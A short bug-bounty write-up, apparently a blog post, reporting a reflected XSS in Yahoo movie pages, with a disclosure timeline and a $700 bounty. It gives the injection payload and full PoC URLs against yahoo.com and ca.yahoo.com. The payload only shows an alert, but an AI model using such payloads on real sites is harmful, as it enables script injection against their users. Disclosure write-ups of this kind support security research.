XSS in yahoo.com (Reflected)

Hello Guys, This is Shahzada Al Shahriar Khan.
I am from Bangladesh. And I am Newbie in Bug Bounty. :P
Well, now I will share how I found Reflected Cross-Site Scripting (XSS) in the main & subdomain of Yahoo.

Vulnerable URLs:
https://www.yahoo.com/movies/film/[*]
https://ca.yahoo.com/movies/film/[*]

Payload:
"><%2fscript><script>alert(document.domain)<%2fscript>

PoC URL:
https://www.yahoo.com/movies/film/"><%2fscript><script>alert(document.domain)<%2fscript>
https://ca.yahoo.com/movies/film/"><%2fscript><script>alert(document.domain)<%2fscript>

PoC Screenshot:

Yahoo Canada Subdomain

Video PoC:



Timeline:
Aug 12th - I Submitted The Report.
Aug 15th - Triaged The Report & Rewarded Me a $300 Initial Bounty.
Aug 16th - Bug Resolved
Aug 24th - Another $400 Bounty Rewarded, Total Bounty is $700.

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